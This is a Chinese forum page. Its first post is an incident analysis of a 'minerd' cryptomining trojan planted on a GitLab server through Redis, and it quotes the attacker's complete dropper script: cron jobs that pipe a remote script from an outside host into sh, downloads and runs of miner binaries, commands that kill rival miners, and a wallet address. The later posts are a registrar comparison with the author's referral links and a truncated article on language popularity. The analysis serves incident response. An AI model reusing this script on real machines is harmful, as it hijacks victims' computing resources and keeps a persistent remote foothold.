挖矿程序minerd入侵分析和解决

koyo 发表了文章 • 0 个评论 • 181 次浏览 • 2017-01-11 18:08 • 来自相关话题

发现问题

最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:




让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:




这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。




本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;




既然没用我继续google,在stackexchange找到如下解决方案:




各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。

商业模式

被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。

攻击&防御

植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。 查看全部


发现问题


最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:
UseCpu.png

让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:
minerd.png

这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。
wbug.png

本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;
crontab.png

既然没用我继续google,在stackexchange找到如下解决方案:
stackerror.png

各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。


商业模式


被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。


攻击&防御


植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。

亲身经历告诉你应该去哪买域名!

Nock 发表了文章 • 0 个评论 • 135 次浏览 • 2016-12-13 16:07 • 来自相关话题

前言

前方私货预警!!由于域名购买都是个人经验,以下内容都是主观体验。想看统计数据的请绕行。
 
看到那么多人推荐GoDaddy,作为过来人实在是看不下去。

首先说说自己的经历,本人不是专职炒域名的,但是平时喜欢做些小东西,码农本性啊。买域名快10年了,前后也有十几个,其中有一些用到现在,大部分1年以后就没再续。注册商前前后后换过好几家,海外的那几家大的基本上都用过。在这里逐一点评一下。许多时候价格当然重要,但是买东西真的不能只看价格。
 

先说GoDaddy

这个公司的规模够大,毕竟起步早,推广也很不遗余力。但是老实说他们不管是从节操上还是能力上都不太跟得上时代了。黑点实在太多,一条一条写:
 
最近几年出过好几次DNS被黑的情况,要知道域名注册商的DNS服务器被黑可不是小事情。几千万的网站随时解析不了,但就是这样GoDaddy还是被黑了不止一次。可见内部管理已经僵化,反应不过来了。找则新闻大家练练英语:GoDaddy Hacked, Millions of Sites Down 。GoDaddy前几年偷域名的事情搞得沸沸扬扬。许多人在GoDaddy上搜好的域名第二天上去买了就发现被GoDaddy给抢注了,到了二级市场价格直接翻上成百上千倍。这个公司的定价策略不是很透明。比如有一次看到.com域名2.99刀的,点进去一看原来是要签两年合约的第一年才2.99刀,第二年就要回到14.99.算下来两年也没比namecheap便宜多少。倒不是说真的稀罕这点钱,有的时候就是不喜欢绕着弯儿来骗你的感觉。本身的销售团队KPI考核压力太大,连他们的客服都是不遗余力地想卖你东西。有什么问题打电话过去问题还没解决先问你要不要续费,哭笑不得。DNS更新速度很慢。至少前几年要好几个小时才生效。几年没用了不知道现在有没有好点了。他们支持SOPA。对于我来说这是无法接受的互联网公司立场。当然这只是这是我的个人立场,不展开。
但就是这样的一个奇葩公司,不知道为什么在国内有那么多人追捧。我在刚刚开始要买域名的时候也是在某个论坛看到了类似的帖子一边倒地推荐GoDaddy,结果是好多年的窝火。今天愤怒地写出来,就是希望大家不要重蹈覆辙。
 

name.com

在被GoDaddy虐了好几年以后,经朋友推荐了http://name.com,只用了一次就全转过去了。你要说他们有什么特别的,其实真的没什么。就是买东西 -> 付钱 -> 开用。 老实说我们消费者其实真的很容易伺候,只要 许诺多少=给多少 的大家基本上就跪了。价格上来说,新注册的会比GoDaddy贵一些,10刀左右,但人家续费也是同一个价,不会一不小心被高价续费,那叫一个心疼。name.com的问题是他们的域名服务器更新速度跟GoDaddy差不多,改个DNS都要好几个小时。
 
但这几年name.com做了几件让我小小不爽的事情:
大部分域名都提价了,比如.com从$9.99到了$10.99。在别人都开始提供免费ssl的时候,他们居然连自己的主站都不用ssl(印象中是今年8月才开始用)。这让我觉得有点不放心。
于是我又问了一圈朋友,终于找到了namecheap。
 

namecheap

真是后知后觉,居然直到去年底才发现这个神器。各方面都不错,是我现在的主注册商,强烈推荐。namecheap的价格不算最便宜的,但是各方面做得真的真的都很好,包括但不限于:速度,控制台,客服响应,稳定性,免费的ssl和whois privacy等等。而且碰到了域名转出和退款什么的都完全不拖泥带水,可以说性价比非常高。
 

enom

enom在国内可能知名度不是很高,但其实是很老牌的域名注册商,namecheap直到最近之前还只是个enom的分销商(就是说他们直到最近才成为ICANN的正式域名注册商)。Google App提供的域名管理后台就是GoDaddy和enom二选一,换句话说Google也是enom的分销商之一。(话说真是怀念几年前的Google App,每个在Google上注册的域名都会送Gmail、Google Calendar等神器,这么多东西一年才10刀实在是超值,想想现在每个月至少要5刀,后悔没多弄几个哎)。
 

enom现在的问题是他们企业路线对我们不友好。这个公司逆互联网的趋势而行,这几年极其注重分销市场,而懒得搭理最终消费者市场(怀疑公司是不是被三哥把持了)。搞到现在他们的零售价格比起name.com和namecheap都要更高一些。而客服也比较不上心。总的来说属于没有太大缺点但是也没什么吸引力的,鸡肋化了。
 

1&1


最后我想专门提一下1&1。如果说GoDaddy是个奇葩的话,这个公司真是奇葩中的战斗机。首先他们家的价格真的是很便宜,便宜到你会有“卧槽有没有搞错”的想法。但是千万不要上当,尤其是绑定信用卡。我再强调一遍,千!万!不!要!上!当!随便在网上搜一把就能看到无数人的血泪史,域名无法转出,域名转出以后信用卡继续扣钱,客服永远没人听电话,客服听不懂英语,要知道这可是美国公司啊亲!
 

购买域名总结

此外,以下为周围朋友闲聊时的总结,我没有真的用过,大家参考一下:

- 很不错的:Gandi,NameSilo,还有最近的uniregistry.com
- 值得一试:IWantMyName, DynaDot
- 很差:http://hover.com据说跟1&1差不多,居然价格还不便宜。另外,大部分的和主机套餐绑定的域名都要慎重考虑,比如Bluehost / Dreamhost等等,他们的问题就是合同很复杂,域名单独续费转出都很麻烦。
 
除了域名注册商以外,还有几个关于站长的问题在这个帖子里也有提及,一起聊一下:
 

SSL

免费的SSL如果放在前几年会很有吸引力,但最近几年门槛越来越低,ssl也不是一个稀罕东西了。随便说几个平民的ssl解决方案:
startssl直接免费 StartSSL™ Certificates & Public Key Infrastructurecloudflare的免费版自带ssl Home | CloudFlare@Rio 提到的Comodo确实不错,但是本来也不值几个钱。去Cheap SSL Certificates. Buy or Renew Cheapest SSL at $4.80 也就是4块8美刀一年。
 

Whois Privacy

关于Whois Privacy不是说有免费的提供就一定要用,主要的顾虑是这个可能会影响搜索引擎优化(SEO)。有很多的讨论比如:SEO Question : Do WhoIs Privacy Services Harm SEO?
 
结论都是是出于SEO的目的尽量还是不要隐藏自己的信息。其实这从谷歌的角度也好理解,你从事正当生意那是巴不得全世界都知道你的电话,有什么好怕的?从我个人角度来看我用实名注册了那么多域名都没有因为这个被骚扰过。说到底你的邮件和电话没你想象的那么重要。

当然我知道有人会问,我有证据吗?这个还真没有。可是SEO的事情谁说的准?能做的也就只有可悲的自我审查了。我把这个顾虑留在这儿,大家可以自行判断。
 

DNS记录管理

哪怕是namecheap和name.com,他们的管理界面以2014年的眼光来看都不太好使,DNS刷新速度也不是很理想。我的做法一般是国外域名就直接把name server(域名服务器)转到Home | CloudFlare,国内的转到DNSPod-免费智能DNS解析服务商。速度快,界面好,免费。
 

说了半天,那到底怎么样才能省钱?

好。。好。。别急。。让我喝口水。在离题万里以后回到楼主的问题。现在假设各位看官现在已经被我说服,要买namecheap的.com域名,去了官网一看10.69,算上icann的注册费0.18总共不到11刀,合70人民币左右。
 
土豪当然不在乎,但是相信对于大部分人尤其是学生党来说还是能省则省。于是在这里我又要推荐另一个最近在reddit上很火的神器:Domain Price Comparison (domcomp域名价格网)
 
首先他们在主页上有最新的优惠码,而且更新的很勤快。妈妈再也不用担心每次买域名到处瞎jb搜优惠码了。





比如现在是2014年10月17号,这个优惠码就是到10月31号之前都可以用,已经比直接注册省了一刀还多了。请大家自行忽略1&1,人生苦短,life is too short to deal with 1&1。(话说GoDaddy居然只要1.49刀才10块人民币 ,把淘宝都秒了有木有。。。。搞得我都有点心动)

当然优惠码还不是最重要的,关键是这个网站还提供返利,可以折上再折,加入方法很简单,点击右上角的affiliate。就是这个:




注册很简洁,填一下邮箱就能进去了(不知道为什么想到了国内那些注册。。。邮箱认证。。手机绑定。。。)




登陆以后会进到dashboard,也就是控制台。你会看到有一个链接在中间是绿色的,这个就是你的返利链接




下面(请注意这一步很重要),点一下你的返利链接,回到了domcomp.com的主页。是不是看上去什么都没变? 其实不然,你的返利码已经在cookie里面了。接下来就直接点namecheap的价格链接去namecheap注册账号+买域名吧!
 
这个网站反应很快,一般来说买了以后几个小时就会收到邮件确认交易。我现在已经有4个域名通过他们买的(三个.com和一个.io),总共花了八十几刀(io域名真tmd贵)里面有将近20刀的返利。




仔细算了一下,.com的总共花了40人民币不到,买了namecheap + ssl + whois privacy。而淘宝最便宜的也要60多。这么说来淘宝利润也不错,无本买卖做一单25块钱。
 
最后,买的时候有几点要注意:
记得每次都要注册新账号,我也不知道为什么,但是namecheap貌似只对新注册账号有返利。每次买之前,都最好确认一下返利码在cookie里面,我的做法就是登陆一下专门点一下返利链接,然后再点namecheap。这个时候刷新返利控制台,看看点击数(clicks)有没有增加。比如我刚刚点了一下以后,我的控制台里就从11变成12,也就是说我这个点击是有效的返利点击。




利益相关:domcomp.com的链接是我自己的返利链接,也就是说你通过他们买域名的话,除了你实惠以外我也有钱收。

作者:范进
链接:https://www.zhihu.com/question/19551906/answer/31986656
来源:知乎 查看全部


前言


前方私货预警!!由于域名购买都是个人经验,以下内容都是主观体验。想看统计数据的请绕行。
 
看到那么多人推荐GoDaddy,作为过来人实在是看不下去。

首先说说自己的经历,本人不是专职炒域名的,但是平时喜欢做些小东西,码农本性啊。买域名快10年了,前后也有十几个,其中有一些用到现在,大部分1年以后就没再续。注册商前前后后换过好几家,海外的那几家大的基本上都用过。在这里逐一点评一下。许多时候价格当然重要,但是买东西真的不能只看价格。
 


先说GoDaddy


这个公司的规模够大,毕竟起步早,推广也很不遗余力。但是老实说他们不管是从节操上还是能力上都不太跟得上时代了。黑点实在太多,一条一条写:
 
  1. 最近几年出过好几次DNS被黑的情况,要知道域名注册商的DNS服务器被黑可不是小事情。几千万的网站随时解析不了,但就是这样GoDaddy还是被黑了不止一次。可见内部管理已经僵化,反应不过来了。找则新闻大家练练英语:GoDaddy Hacked, Millions of Sites Down 。
  2. GoDaddy前几年偷域名的事情搞得沸沸扬扬。许多人在GoDaddy上搜好的域名第二天上去买了就发现被GoDaddy给抢注了,到了二级市场价格直接翻上成百上千倍。
  3. 这个公司的定价策略不是很透明。比如有一次看到.com域名2.99刀的,点进去一看原来是要签两年合约的第一年才2.99刀,第二年就要回到14.99.算下来两年也没比namecheap便宜多少。倒不是说真的稀罕这点钱,有的时候就是不喜欢绕着弯儿来骗你的感觉。
  4. 本身的销售团队KPI考核压力太大,连他们的客服都是不遗余力地想卖你东西。有什么问题打电话过去问题还没解决先问你要不要续费,哭笑不得。
  5. DNS更新速度很慢。至少前几年要好几个小时才生效。几年没用了不知道现在有没有好点了。
  6. 他们支持SOPA。对于我来说这是无法接受的互联网公司立场。当然这只是这是我的个人立场,不展开。

但就是这样的一个奇葩公司,不知道为什么在国内有那么多人追捧。我在刚刚开始要买域名的时候也是在某个论坛看到了类似的帖子一边倒地推荐GoDaddy,结果是好多年的窝火。今天愤怒地写出来,就是希望大家不要重蹈覆辙。
 


name.com


在被GoDaddy虐了好几年以后,经朋友推荐了http://name.com,只用了一次就全转过去了。你要说他们有什么特别的,其实真的没什么。就是买东西 -> 付钱 -> 开用。 老实说我们消费者其实真的很容易伺候,只要 许诺多少=给多少 的大家基本上就跪了。价格上来说,新注册的会比GoDaddy贵一些,10刀左右,但人家续费也是同一个价,不会一不小心被高价续费,那叫一个心疼。name.com的问题是他们的域名服务器更新速度跟GoDaddy差不多,改个DNS都要好几个小时。
 
但这几年name.com做了几件让我小小不爽的事情:
  1. 大部分域名都提价了,比如.com从$9.99到了$10.99。
  2. 在别人都开始提供免费ssl的时候,他们居然连自己的主站都不用ssl(印象中是今年8月才开始用)。这让我觉得有点不放心。

于是我又问了一圈朋友,终于找到了namecheap。
 


namecheap


真是后知后觉,居然直到去年底才发现这个神器。各方面都不错,是我现在的主注册商,强烈推荐。namecheap的价格不算最便宜的,但是各方面做得真的真的都很好,包括但不限于:速度,控制台,客服响应,稳定性,免费的ssl和whois privacy等等。而且碰到了域名转出和退款什么的都完全不拖泥带水,可以说性价比非常高。
 


enom


enom在国内可能知名度不是很高,但其实是很老牌的域名注册商,namecheap直到最近之前还只是个enom的分销商(就是说他们直到最近才成为ICANN的正式域名注册商)。Google App提供的域名管理后台就是GoDaddy和enom二选一,换句话说Google也是enom的分销商之一。(话说真是怀念几年前的Google App,每个在Google上注册的域名都会送Gmail、Google Calendar等神器,这么多东西一年才10刀实在是超值,想想现在每个月至少要5刀,后悔没多弄几个哎)。
 

enom现在的问题是他们企业路线对我们不友好。这个公司逆互联网的趋势而行,这几年极其注重分销市场,而懒得搭理最终消费者市场(怀疑公司是不是被三哥把持了)。搞到现在他们的零售价格比起name.com和namecheap都要更高一些。而客服也比较不上心。总的来说属于没有太大缺点但是也没什么吸引力的,鸡肋化了。
 


1&1



最后我想专门提一下1&1。如果说GoDaddy是个奇葩的话,这个公司真是奇葩中的战斗机。首先他们家的价格真的是很便宜,便宜到你会有“卧槽有没有搞错”的想法。但是千万不要上当,尤其是绑定信用卡。我再强调一遍,千!万!不!要!上!当!随便在网上搜一把就能看到无数人的血泪史,域名无法转出,域名转出以后信用卡继续扣钱,客服永远没人听电话,客服听不懂英语,要知道这可是美国公司啊亲!
 


购买域名总结


此外,以下为周围朋友闲聊时的总结,我没有真的用过,大家参考一下:

- 很不错的:Gandi,NameSilo,还有最近的uniregistry.com
- 值得一试:IWantMyName, DynaDot
- 很差:http://hover.com据说跟1&1差不多,居然价格还不便宜。另外,大部分的和主机套餐绑定的域名都要慎重考虑,比如Bluehost / Dreamhost等等,他们的问题就是合同很复杂,域名单独续费转出都很麻烦。
 
除了域名注册商以外,还有几个关于站长的问题在这个帖子里也有提及,一起聊一下:
 


SSL


免费的SSL如果放在前几年会很有吸引力,但最近几年门槛越来越低,ssl也不是一个稀罕东西了。随便说几个平民的ssl解决方案:
  1. startssl直接免费 StartSSL™ Certificates & Public Key Infrastructure
  2. cloudflare的免费版自带ssl Home | CloudFlare
  3. @Rio 提到的Comodo确实不错,但是本来也不值几个钱。去Cheap SSL Certificates. Buy or Renew Cheapest SSL at $4.80 也就是4块8美刀一年。

 


Whois Privacy


关于Whois Privacy不是说有免费的提供就一定要用,主要的顾虑是这个可能会影响搜索引擎优化(SEO)。有很多的讨论比如:SEO Question : Do WhoIs Privacy Services Harm SEO?
 
结论都是是出于SEO的目的尽量还是不要隐藏自己的信息。其实这从谷歌的角度也好理解,你从事正当生意那是巴不得全世界都知道你的电话,有什么好怕的?从我个人角度来看我用实名注册了那么多域名都没有因为这个被骚扰过。说到底你的邮件和电话没你想象的那么重要。

当然我知道有人会问,我有证据吗?这个还真没有。可是SEO的事情谁说的准?能做的也就只有可悲的自我审查了。我把这个顾虑留在这儿,大家可以自行判断。
 


DNS记录管理


哪怕是namecheap和name.com,他们的管理界面以2014年的眼光来看都不太好使,DNS刷新速度也不是很理想。我的做法一般是国外域名就直接把name server(域名服务器)转到Home | CloudFlare,国内的转到DNSPod-免费智能DNS解析服务商。速度快,界面好,免费。
 


说了半天,那到底怎么样才能省钱?


好。。好。。别急。。让我喝口水。在离题万里以后回到楼主的问题。现在假设各位看官现在已经被我说服,要买namecheap的.com域名,去了官网一看10.69,算上icann的注册费0.18总共不到11刀,合70人民币左右。
 
土豪当然不在乎,但是相信对于大部分人尤其是学生党来说还是能省则省。于是在这里我又要推荐另一个最近在reddit上很火的神器:Domain Price Comparison (domcomp域名价格网)
 
首先他们在主页上有最新的优惠码,而且更新的很勤快。妈妈再也不用担心每次买域名到处瞎jb搜优惠码了。
domain.jpg


比如现在是2014年10月17号,这个优惠码就是到10月31号之前都可以用,已经比直接注册省了一刀还多了。请大家自行忽略1&1,人生苦短,life is too short to deal with 1&1。(话说GoDaddy居然只要1.49刀才10块人民币 ,把淘宝都秒了有木有。。。。搞得我都有点心动)

当然优惠码还不是最重要的,关键是这个网站还提供返利,可以折上再折,加入方法很简单,点击右上角的affiliate。就是这个:
affiliate.jpg

注册很简洁,填一下邮箱就能进去了(不知道为什么想到了国内那些注册。。。邮箱认证。。手机绑定。。。)
sign.jpg

登陆以后会进到dashboard,也就是控制台。你会看到有一个链接在中间是绿色的,这个就是你的返利链接
program.jpg

下面(请注意这一步很重要),点一下你的返利链接,回到了domcomp.com的主页。是不是看上去什么都没变? 其实不然,你的返利码已经在cookie里面了。接下来就直接点namecheap的价格链接去namecheap注册账号+买域名吧!
 
这个网站反应很快,一般来说买了以后几个小时就会收到邮件确认交易。我现在已经有4个域名通过他们买的(三个.com和一个.io),总共花了八十几刀(io域名真tmd贵)里面有将近20刀的返利。
referral.jpg

仔细算了一下,.com的总共花了40人民币不到,买了namecheap + ssl + whois privacy。而淘宝最便宜的也要60多。这么说来淘宝利润也不错,无本买卖做一单25块钱。
 
最后,买的时候有几点要注意:
  1. 记得每次都要注册新账号,我也不知道为什么,但是namecheap貌似只对新注册账号有返利。
  2. 每次买之前,都最好确认一下返利码在cookie里面,我的做法就是登陆一下专门点一下返利链接,然后再点namecheap。这个时候刷新返利控制台,看看点击数(clicks)有没有增加。比如我刚刚点了一下以后,我的控制台里就从11变成12,也就是说我这个点击是有效的返利点击。

clicks.jpg

利益相关:domcomp.com的链接是我自己的返利链接,也就是说你通过他们买域名的话,除了你实惠以外我也有钱收。


作者:范进
链接:https://www.zhihu.com/question/19551906/answer/31986656
来源:知乎


将在2017年受热捧的编程语言「转」

Nock 发表了文章 • 0 个评论 • 144 次浏览 • 2016-12-09 19:56 • 来自相关话题

摘要

想知道全球最受欢迎的编程语言是什么吗?它们的判断标准又是怎样的呢?

我们都知道,C++,MATLAB,Java 一直都受到技术学院的青睐,大多数毕业生都热衷于学习这些语言。但它们是否是业界所需要的呢?抱着这个疑问,我们访问了几个可信度较高的语言索引网站,同时还深入到 Indeed 和 Glassdoor 等全球门户网站,试图收集数据,以总结出全球最受欢迎的语言是哪些,以及行业内最需要的语言是什么。

注:对编程语言进行受欢迎度评选,并不是为了证明哪项语言好,哪项语言不好, 而是希望能通过这一类分析,找出用户最喜欢以及业界最需要的语言。 
 

TIOBE Index

TIOBE 编程社区索引由荷兰 Eindhoven 的 TIOBE 公司创立和维护。TIOBE 代表着“真诚的重要性”,该索引将每项语言作为关键字,按照搜索引擎的查询数量对语言进行排名。因为 TIOBE 只索引图灵完全的语言,因此 SQL 和 HTML 没有考虑在内。2016年11月的排名结果显示,Java 依然是最受大家欢迎的语言,C 和 C++ 排名紧随其后。出人意料的是,Visual Basic 和 Python 排名有大幅上升,并排在了 Javascript 之前,另外,汇编语言也挤入前十:





PYPL

PYPL(编程语言流行指数)依据 Google 上关于语言教程的搜索频率进行统计。从全球搜索引擎流行度来看,Java 依然是大赢家;Python 较之前五年排名提升 6.8%,而 PHP 暴跌5.0%。




Constantin Brancusi 大学的 Adrian Runceanu 教授在 C++,Java,Oracle 方面有16+年的研究经验。关于 C++ 为什么能在跻身编程语言的前十,他是这么说的:

“我认为 C / C ++ 为大家提供了一个很好的使用机制,我们可以用这项语言创建可移植的应用程序,并且,C/C++ 易于学习,很受学生欢迎。其他语言,如,Javascript,Java,Python 则更适合于 Web 应用程序的开发。我相信 C/C++ 在未来几年依然具有支配性。”

StackOverflow

Stack Overflow 是一个问答平台。它有超过400万的用户,问答了1000多万个问题。根据问题情况,Javascript 的使用者比其他语言的都要多。另外,与 Node 和 Angular 相比,PHP 排名有所下滑。





GitHub

在2016年9月年度会议之前,Github 在此分享了其统计报告。

在过去的12个月里,Github 的活跃用户数量超过580万,活跃存储库数量超过1940万。随后它在平台上公布了热门语言排行表。我相信看过这个列表的人都会知道 Javascript 占据了榜首,当然这都没什么好惊讶的,值得惊讶的是它赶超竞争对手的程度之大......




 

HackerEarth

